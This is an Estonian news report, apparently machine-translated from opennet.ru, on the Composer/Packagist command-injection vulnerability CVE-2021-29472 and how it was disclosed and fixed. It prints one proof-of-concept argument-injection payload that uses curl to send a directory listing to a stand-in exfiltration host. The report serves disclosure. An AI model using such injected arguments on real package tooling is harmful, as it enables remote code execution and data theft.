Haavatavus paketihalduris Composer, mis vÔimaldab PHP-repositoore Packagist kompromiteerida

Composer'i sĂ”ltuvuste halduris avastati kriitiline haavatavus (CVE-2021-29472), mis vĂ”imaldab teostada sĂŒsteemis juhuslikke kĂ€ske, kui töödeldakse paketti, mille URL-i vÀÀrtus on spetsiaalselt kujundatud, et mÀÀrata allalaadimise alladress. Probleem ilmnes GitDriver, SvnDriver ja HgDriver komponentides, mida kasutatakse versioonihaldussĂŒsteemide Git, Subversion ja Mercurial puhul. Haavatavus on kĂ”rvaldatud Composer'i vĂ€ljaannetes 1.10.22 ja 2.0.13.

Eriti mĂ€rgitakse, et probleem mĂ”jutas peamiselt vaikimisi kasutatavat Composer'i paketirepositooriumi Packagist, kus on 306 tuhat paketti PHP arendajatele ja mis teenindab igakuiselt ĂŒle 1,4 miljardi allalaadimise. Eksperimendi kĂ€igus nĂ€idati, et kui probleemist oleks teavet olnud, oleksid rĂŒndajad vĂ”inud saada kontrolli Packagisti infrastruktuuri ĂŒle ja haarata kellelegi kuuluvate tĂŒĂŒbiandmed vĂ”i suunata pakettide allalaadimist kolmandale serverile, korraldades pahatahtlike muudatustega pakettide saatmise tagasimineku protsessi sĂ”ltuvuste installimisel.

LĂ”ppkasutajate oht on piiratud sellega, et composer.json sisu mÀÀrab tavaliselt kasutaja ise ning allikad edastatakse tavaliselt usaldusvÀÀrsetelt kolmandatelt repositooriumidelt. Peamine mĂ”ju osutus Packagist.org repositooriumile ja Private Packagist teenusele, mis kutsub Composer'i, edastades kasutajatelt saadud andmeid. Kurjategijad said oma koodi Packagist'i serverites kĂ€ivitada, laadides ĂŒles spetsiaalselt kujundatud paketi.

Packagist'i meeskond kÔrvaldas haavatavuse 12 tunni jooksul pÀrast haavatavusest teatamist. Uurijad teavitasid Packagist'i arendajaid eraviisiliselt 22. aprillil ja sama pÀeva jooksul probleem lahendati. Avalik vÀrskendus Composer'ile, mis kÔrvaldas haavatavuse, avaldati 27. aprillil ning detailid avalikustati 28. aprillil. Packagist'i serverite logide audit ei tuvastanud haavatavusega seotud kahtlast tegevust.

Probleem on pĂ”hjustatud vigast URL-i kontrollimise koodi veast peamises composer.json failis ja allalaadimise linkidesse. Viga on esinenud koodis alates novembrist 2011. Packagistis kasutatakse koodi allalaadimise korraldamiseks spetsiaalseid vahekihti, mis töötavad kĂ€surea argumendiga „fromShellCommandline“. NĂ€iteks git-i puhul kutsutakse ĂŒles kĂ€sku „git ls-remote —heads $URL“, kus URL on töödeldud meetodi „ProcessExecutor::escape($url)“ abil, mis kaustab potentsiaalselt ohtlikke konstruktsioone nagu „$(
)“ vĂ”i „`
`“.

Probleemi olemus seisneb selles, et meetod ProcessExecutor::escape ei kaustanud jĂ€rjestust „—“, mis vĂ”imaldas URL-is mÀÀrata mis tahes lisaparameetri. Selline kaustamine puudus GitDriver.php, SvnDriver.php ja HgDriver.php draiverites. RĂŒnnak GitDriver.php kaudu takistas seda, et kĂ€sk „git ls-remote“ ei toetanud lisavigade mÀÀramist pĂ€rast teed. RĂŒnnak HgDriver.php-sse osutus vĂ”imalikuks parametri „—config“ edastamise kaudu utiliidile „hq“, mis vĂ”imaldas korraldada mis tahes kĂ€su tĂ€itmise seadistuse „alias.identify“ manipuleerimise kaudu. NĂ€iteks koodi allalaadimiseks ja kĂ€ivitamiseks curl utiliidi kaudu vĂ”iti kasutada: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Paigutades Packagist testpaketi sellise URL-iga, olid uurijad kindlad, et pĂ€rast selle nende serverisse paigaldamist tuli HTTP-pĂ€ring ĂŒhest serverid Packagist AWS-is, mis sisaldas failide loetelu praeguses kataloogis.

Allikas: opennet.ru

Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid | ProHoster